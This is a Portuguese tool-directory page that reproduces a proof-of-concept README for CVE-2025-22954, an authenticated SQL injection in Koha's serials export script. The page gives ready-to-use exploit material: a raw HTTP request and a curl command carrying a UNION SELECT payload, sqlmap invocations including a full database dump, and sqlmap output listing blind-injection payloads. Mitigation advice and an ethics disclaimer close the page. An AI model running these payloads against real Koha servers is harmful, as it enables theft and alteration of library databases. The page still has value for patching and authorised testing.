Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: Injeção SQL em lateissues-export.pl | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2025-22954
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: Injeção SQL em lateissues-export.pl

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Koha CVE-2025-22954: Injeção de SQL em lateissues-export.pl

Visão Geral

Este repositório contém uma prova de conceito para CVE-2025-22954, uma vulnerabilidade de injeção de SQL de gravidade crítica (CVSS 10.0) no Koha anterior à versão 24.11.02. A vulnerabilidade existe na função GetLateOrMissingIssues em C4/Serials.pm, que é chamada pelo script /serials/lateissues-export.pl. A vulnerabilidade pode ser explorada através dos parâmetros supplierid ou serialid.

ID do CVECVE-2025-22954
CVSS v310.0 (Crítico)
EPSS Score0.03% (Top 5.26%)
Publicado12 de março de 2025
Corrigido emKoha 24.11.02
Referência do BugKoha Bug #38829
Notas de LançamentoKoha 24.11.02 Lançamento

Detalhes da Vulnerabilidade

A vulnerabilidade decorre do tratamento inseguro da entrada do usuário nos parâmetros supplierid e serialid no script lateissues-export.pl, que é passado para a função GetLateOrMissingIssues em C4/Serials.pm. A função não sanitiza ou parametriza adequadamente essas entradas antes de usá-las em consultas SQL, permitindo ataques de injeção de SQL.

Código Afetado

O script vulnerável (lateissues-export.pl) contém o seguinte código:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

A função GetLateOrMissingIssues em C4/Serials.pm provavelmente contém construção vulnerável de consulta SQL, onde os parâmetros $supplierid e $serialid são concatenados diretamente em instruções SQL sem a devida parametrização.

Prova de Conceito

Esta prova de conceito demonstra como um usuário autenticado com acesso ao módulo de periódicos pode explorar essa vulnerabilidade para extrair dados confidenciais do banco de dados Koha ou potencialmente obter acesso não autorizado ao sistema de banco de dados subjacente.

Pré-requisitos

  • Uma instância vulnerável do Koha (anterior à 24.11.02)
  • Acesso ao script lateissues-export.pl

Método de Exploração

Método de Requisição HTTP

A seguinte requisição HTTP bruta pode ser usada para explorar a vulnerabilidade:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Usando curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

Usando SQLMap

O SQLMap pode ser usado para automatizar a exploração desta vulnerabilidade. Primeiro, capture uma requisição ao endpoint vulnerável com cookies de autenticação válidos, depois use o SQLMap para explorar o ponto de injeção.

root@kitploit:~
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

Exemplo de arquivo request.txt:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Você também pode explorar a vulnerabilidade diretamente com o SQLMap:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

Impacto

Esta vulnerabilidade permite que um atacante autenticado:

  1. Extraia informações confidenciais do banco de dados
  2. Modifique dados no banco de dados
  3. Execute potencialmente comandos arbitrários no servidor de banco de dados
  4. Obtenha potencialmente acesso ao sistema operacional subjacente

Mitigação

Atualize para a versão 24.11.02 ou posterior do Koha, que inclui uma correção para esta vulnerabilidade.

Se a atualização imediata não for possível, considere implementar as seguintes mitigações temporárias:

  1. Restringir o acesso ao script /serials/lateissues-export.pl apenas a endereços IP confiáveis
  2. Implementar uma regra de Firewall de Aplicação Web (WAF) para bloquear requisições potencialmente maliciosas a este endpoint
  3. Modificar o arquivo C4/Serials.pm para parametrizar adequadamente as consultas SQL na função GetLateOrMissingIssues

Considerações Éticas

Esta prova de conceito é fornecida apenas para fins educacionais e defensivos. Sempre obtenha a devida autorização antes de testar qualquer sistema em busca de vulnerabilidades.

Aviso Legal

O autor não é responsável por qualquer uso indevido desta informação. Esta prova de conceito deve ser usada apenas em sistemas que você possui ou nos quais você tenha permissão explícita para testar.

Baixar ferramenta